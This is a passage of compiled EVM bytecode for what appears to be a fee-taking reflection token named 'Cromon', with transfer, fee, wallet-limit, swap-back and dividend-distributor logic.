fffffffffffffffffffffffffffffff1681526020019081526020016000206000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550604051620005629062000aba565b604051809103906000f0801580156200057f573d6000803e3d6000fd5b50601a60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600454600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60045460405162000aac919062000e66565b60405180910390a362000e83565b611871806200587983390190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000b565780860481111562000b2e5762000b2d62000ac8565b5b600185161562000b3e5780820291505b808102905062000b4e8562000af7565b945062000b0e565b94509492505050565b60008262000b71576001905062000c44565b8162000b81576000905062000c44565b816001811462000b9a576002811462000ba55762000bdb565b600191505062000c44565b60ff84111562000bba5762000bb962000ac8565b5b8360020a91508482111562000bd45762000bd362000ac8565b5b5062000c44565b5060208310610133831016604e8410600b841016171562000c155782820a90508381111562000c0f5762000c0e62000ac8565b5b62000c44565b62000c24848484600162000b04565b9250905081840481111562000c3e5762000c3d62000ac8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000c6f8262000c4b565b915062000c7c8362000c55565b925062000cab7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000b5f565b905092915050565b600062000cc08262000c4b565b915062000ccd8362000c4b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d095762000d0862000ac8565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000d508262000c4b565b915062000d5d8362000c4b565b92508262000d705762000d6f62000d14565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000dad8262000d80565b9050919050565b62000dbf8162000da0565b811462000dcb57600080fd5b50565b60008151905062000ddf8162000db4565b92915050565b60006020828403121562000dfe5762000dfd62000d7b565b5b600062000e0e8482850162000dce565b91505092915050565b62000e228162000da0565b82525050565b600060408201905062000e3f600083018562000e17565b62000e4e602083018462000e17565b9392505050565b62000e608162000c4b565b82525050565b600060208201905062000e7d600083018462000e55565b92915050565b6149e68062000e936000396000f3fe6080604052600436106102b25760003560e01c8063722b62ad11610175578063c9567bf9116100dc578063f0b37c0411610095578063f84ba65d1161006f578063f84ba65d14610acb578063f887ea4014610af4578063fe9fbb8014610b1f578063ffb54a9914610b5c576102b9565b8063f0b37c0414610a50578063f2fde38b14610a79578063f708a64f14610aa2576102b9565b8063c9567bf914610940578063ca33e64c14610957578063d51ed1c814610982578063dd62ed3e146109bf578063df20fd49146109fc578063e96fada214610a25576102b9565b80639d1944f51161012e5780639d1944f514610832578063a4b45c001461085b578063a8aa1b3114610884578063a9059cbb146108af578063b6a5d7de146108ec578063bf56b37114610915576102b9565b8063722b62ad1461073257806378109e541461075d5780637d1db4a51461078857806382bf293c146107b3578063893d20e8146107dc57806395d89b4114610807576102b9565b80632d594567116102195780635c85974f116101d25780635c85974f14610624578063617fe0ed1461064d578063658d4b7f146106785780636ddd1713146106a15780636fcba377146106cc57806370a08231146106f5576102b9565b80632d594567146105045780632f54bf6e1461052d578063313ce5671461056a578063455a43961461059557806350db71fb146105be578063571ac8b0146105e7576102b9565b80631cdd3be31161026b5780631cdd3be3146103e25780631df4ccfc1461041f578063201e79911461044a57806323b872dd146104735780632b112e49146104b05780632d48e896146104db576102b9565b8063025ff12f146102be5780630445b667146102e757806306fdde0314610312578063095ea7b31461033d5780631161ae391461037a57806318160ddd146103b7576102b9565b366102b957005b600080fd5b3480156102ca57600080fd5b506102e560048036038101906102e0919061397a565b610b87565b005b3480156102f357600080fd5b506102fc610fcc565b6040516103099190613a28565b60405180910390f35b34801561031e57600080fd5b50610327610fd2565b6040516103349190613adc565b60405180910390f35b34801561034957600080fd5b50610364600480360381019061035f9190613b2a565b61100f565b6040516103719190613b85565b60405180910390f35b34801561038657600080fd5b506103a1600480360381019061039c9190613ba0565b611101565b6040516103ae9190613b85565b60405180910390f35b3480156103c357600080fd5b506103cc611116565b6040516103d99190613a28565b60405180910390f35b3480156103ee57600080fd5b5061040960048036038101906104049190613be0565b611120565b6040516104169190613b85565b60405180910390f35b34801561042b57600080fd5b50610434611140565b6040516104419190613a28565b60405180910390f35b34801561045657600080fd5b50610471600480360381019061046c9190613ba0565b611146565b005b34801561047f57600080fd5b5061049a60048036038101906104959190613c0d565b6111a0565b6040516104a79190613b85565b60405180910390f35b3480156104bc57600080fd5b506104c561148f565b6040516104d29190613a28565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190613ba0565b611503565b005b34801561051057600080fd5b5061052b60048036038101906105269190613cc5565b6115de565b005b34801561053957600080fd5b50610554600480360381019061054f9190613be0565b61165f565b6040516105619190613b85565b60405180910390f35b34801561057657600080fd5b5061057f6116b8565b60405161058c9190613d14565b60405180910390f35b3480156105a157600080fd5b506105bc60048036038101906105b79190613d2f565b6116c1565b005b3480156105ca57600080fd5b506105e560048036038101906105e09190613d2f565b611764565b005b3480156105f357600080fd5b5061060e60048036038101906106099190613be0565b611807565b60405161061b9190613b85565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190613d6f565b61183a565b005b34801561065957600080fd5b5061066261188c565b60405161066f9190613b85565b60405180910390f35b34801561068457600080fd5b5061069f600480360381019061069a9190613d2f565b61189f565b005b3480156106ad57600080fd5b506106b6611942565b6040516106c39190613b85565b60405180910390f35b3480156106d857600080fd5b506106f360048036038101906106ee9190613d9c565b611955565b005b34801561070157600080fd5b5061071c60048036038101906107179190613be0565b6119f8565b6040516107299190613a28565b60405180910390f35b34801561073e57600080fd5b50610747611a41565b6040516107549190613d14565b60405180910390f35b34801561076957600080fd5b50610772611a54565b60405161077f9190613a28565b60405180910390f35b34801561079457600080fd5b5061079d611a5a565b6040516107aa9190613a28565b60405180910390f35b3480156107bf57600080fd5b506107da60048036038101906107d59190613d6f565b611a60565b005b3480156107e857600080fd5b506107f1611acb565b6040516107fe9190613e12565b60405180910390f35b34801561081357600080fd5b5061081c611af4565b6040516108299190613adc565b60405180910390f35b34801561083e57600080fd5b5061085960048036038101906108549190613d6f565b611b31565b005b34801561086757600080fd5b50610882600480360381019061087d9190613e2d565b611b92565b005b34801561089057600080fd5b50610899611c60565b6040516108a69190613e12565b60405180910390f35b3480156108bb57600080fd5b506108d660048036038101906108d19190613b2a565b611c86565b6040516108e39190613b85565b60405180910390f35b3480156108f857600080fd5b50610913600480360381019061090e9190613be0565b611c9b565b005b34801561092157600080fd5b5061092a611d3d565b6040516109379190613a28565b60405180910390f35b34801561094c57600080fd5b50610955611d43565b005b34801561096357600080fd5b5061096c611da8565b6040516109799190613e12565b60405180910390f35b34801561098e57600080fd5b506109a960048036038101906109a49190613d6f565b611dce565b6040516109b69190613a28565b60405180910390f35b3480156109cb57600080fd5b506109e660048036038101906109e19190613e2d565b611e2b565b6040516109f39190613a28565b60405180910390f35b348015610a0857600080fd5b50610a236004803603810190610a1e9190613e6d565b611eb2565b005b348015610a3157600080fd5b50610a3a611f1f565b604051610a479190613e12565b60405180910390f35b348015610a5c57600080fd5b50610a776004803603810190610a729190613be0565b611f45565b005b348015610a8557600080fd5b50610aa06004803603810190610a9b9190613eeb565b611fe8565b005b348015610aae57600080fd5b50610ac96004803603810190610ac49190613d2f565b612101565b005b348015610ad757600080fd5b50610af26004803603810190610aed9190613d2f565b6123a1565b005b348015610b0057600080fd5b50610b09612444565b604051610b169190613f77565b60405180910390f35b348015610b2b57600080fd5b50610b466004803603810190610b419190613be0565b61246a565b604051610b539190613b85565b60405180910390f35b348015610b6857600080fd5b50610b716124c0565b604051610b7e9190613b85565b60405180910390f35b610b903361165f565b610bcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc690613fde565b60405180910390fd5b6000828290508585905014610c19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1090614070565b60405180910390fd5b60005b85859050811015610c6157838382818110610c3a57610c39614090565b5b9050602002013582610c4c91906140ee565b91508080610c5990614144565b915050610c1c565b5080610c6c876119f8565b1015610cad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca4906141d8565b60405180910390fd5b60005b85859050811015610ea957610d0687878784818110610cd257610cd1614090565b5b9050602002016020810190610ce79190613be0565b868685818110610cfa57610cf9614090565b5b905060200201356124d3565b50600c6000878784818110610d1e57610d1d614090565b5b9050602002016020810190610d339190613be0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610e9657601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca96878784818110610dd057610dcf614090565b5b9050602002016020810190610de59190613be0565b600760008a8a87818110610dfc57610dfb614090565b5b9050602002016020810190610e119190613be0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401610e699291906141f8565b600060405180830381600087803b158015610e8357600080fd5b505af1925050508015610e94575060015b505b8080610ea190614144565b915050610cb0565b50600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610fc457601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9687600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401610f979291906141f8565b600060405180830381600087803b158015610fb157600080fd5b505af1925050508015610fc2575060015b505b505050505050565b601f5481565b60606040518060400160405280600681526020017f43726f6d6f6e0000000000000000000000000000000000000000000000000000815250905090565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516110ef9190613a28565b60405180910390a36001905092915050565b60008261110d83611dce565b11905092915050565b6000600454905090565b600d6020528060005260406000206000915054906101000a900460ff1681565b60115481565b61114f3361246a565b61118e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111859061426d565b60405180910390fd5b81601581905550806016819055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146113985781600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fb906142d9565b60405180910390fd5b81600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461139091906142f9565b925050819055505b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561143c5750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61147b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147290614379565b60405180910390fd5b611486848484612661565b90509392505050565b60006114bc600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119f8565b6114e7600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119f8565b6004546114f491906142f9565b6114fe91906142f9565b905090565b61150c3361246a565b61154b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115429061426d565b60405180910390fd5b601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632d48e89683836040518363ffffffff1660e01b81526004016115a8929190614399565b600060405180830381600087803b1580156115c257600080fd5b505af11580156115d6573d6000803e3d6000fd5b505050505050565b6115e73361165f565b611626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161d90613fde565b60405180910390fd5b81601c60006101000a81548160ff02191690831515021790555080601c60016101000a81548160ff021916908360ff1602179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b6116ca3361165f565b611709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170090613fde565b60405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61176d3361246a565b6117ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a39061426d565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000611833827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61100f565b9050919050565b6118433361246a565b611882576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118799061426d565b60405180910390fd5b8060058190555050565b601c60009054906101000a900460ff1681565b6118a83361246a565b6118e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118de9061426d565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601e60009054906101000a900460ff1681565b61195e3361246a565b61199d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119949061426d565b60405180910390fd5b83600e8190555082600f81905550816010819055508183856119bf91906140ee565b6119c991906140ee565b6011819055508060128190555060046012546119e591906143f1565b601154106119f257600080fd5b50505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601c60019054906101000a900460ff1681565b60065481565b60055481565b611a693361165f565b611aa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9f90613fde565b60405180910390fd5b606481600454611ab89190614422565b611ac291906143f1565b60068190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f43726f6d6f6e0000000000000000000000000000000000000000000000000000815250905090565b611b3a3361246a565b611b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b709061426d565b60405180910390fd5b621ab3f08110611b8857600080fd5b80601b8190555050565b611b9b3361246a565b611bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd19061426d565b60405180910390fd5b81601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611c93338484612661565b905092915050565b611ca43361165f565b611ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cda90613fde565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60195481565b611d4c3361165f565b611d8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8290613fde565b60405180910390fd5b6001601a60006101000a81548160ff021916908315150217905550565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611dd861148f565b6002611e05601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166119f8565b611e0f9190614422565b83611e1a9190614422565b611e2491906143f1565b9050919050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ebb3361246a565b611efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef19061426d565b60405180910390fd5b81601e60006101000a81548160ff02191690831515021790555080601f819055505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611f4e3361165f565b611f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8490613fde565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611ff13361165f565b612030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202790613fde565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516120f6919061449d565b60405180910390a150565b61210a3361246a565b612149576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121409061426d565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156121d35750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6121dc57600080fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080156122ce57601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca968360006040518363ffffffff1660e01b81526004016122979291906144f3565b600060405180830381600087803b1580156122b157600080fd5b505af11580156122c5573d6000803e3d6000fd5b5050505061239d565b601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9683600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b815260040161236a9291906141f8565b600060405180830381600087803b15801561238457600080fd5b505af1158015612398573d6000803e3d6000fd5b505050505b5050565b6123aa3361246a565b6123e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e09061426d565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601a60009054906101000a900460ff1681565b600081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252091906142f9565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ae91906140ee565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161264e9190613a28565b60405180910390a3600190509392505050565b6000602060009054906101000a900460ff161561268a576126838484846124d3565b9050613002565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561272e5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561278357601a60009054906101000a900460ff16612782576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277990614568565b60405180910390fd5b5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561280957503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156128635750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156128bd5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156129175750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156129715750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156129d5576000612981846119f8565b9050600654838261299291906140ee565b11156129d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ca906145fa565b60405180910390fd5b505b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015612a3e5750601c60009054906101000a900460ff165b8015612a945750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b7c5742601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612b1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b119061468c565b60405180910390fd5b601c60019054906101000a900460ff1660ff1642612b3891906140ee565b601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b612b868483613009565b612b8e6130a6565b15612b9c57612b9b61317d565b5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be791906142f9565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000612c35856136d8565b612c3f5782612c4a565b612c49858461372f565b5b905080600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9791906140ee565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612df457601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9686600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401612dc79291906141f8565b600060405180830381600087803b158015612de157600080fd5b505af1925050508015612df2575060015b505b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f0e57601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9685600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401612ee19291906141f8565b600060405180830381600087803b158015612efb57600080fd5b505af1925050508015612f0c575060015b505b601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ffb2c479601b546040518263ffffffff1660e01b8152600401612f6b9190613a28565b600060405180830381600087803b158015612f8557600080fd5b505af1925050508015612f96575060015b508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ff49190613a28565b60405180910390a360019150505b9392505050565b600554811115806130635750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6130a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613099906146f8565b60405180910390fd5b5050565b6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156131135750602060009054906101000a900460ff16155b801561312b5750601e60009054906101000a900460ff165b80156131785750601f54600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001602060006101000a81548160ff02191690831515021790555060006131a8601554601654611101565b6131b457600e546131b7565b60005b905060006002601154836131ca306119f8565b6131d49190614422565b6131de91906143f1565b6131e891906143f1565b90506000816131f6306119f8565b61320091906142f9565b90506000600267ffffffffffffffff81111561321f5761321e614718565b5b60405190808252806020026020018201604052801561324d5781602001602082028036833780820191505090505b509050308160008151811061326557613264614090565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561330c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613330919061475c565b8160018151811061334457613343614090565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b81526004016133e7959493929190614847565b600060405180830381600087803b15801561340157600080fd5b505af1158015613415573d6000803e3d6000fd5b505050506000814761342791906142f9565b9050600060028761343891906143f1565b60115461344591906142f9565b9050600060028289856134589190614422565b61346291906143f1565b61346c91906143f1565b9050600082600f548561347f9190614422565b61348991906143f1565b9050601a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b1580156134f557600080fd5b505af193505050508015613507575060015b50600088111561361a57601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308b600080601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161359a969594939291906148a1565b60606040518083038185885af11580156135b8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906135dd9190614917565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b45068289604051613611929190614399565b60405180910390a15b6000601460009054906101000a900473fffffffffffffffffffffffffffffffffff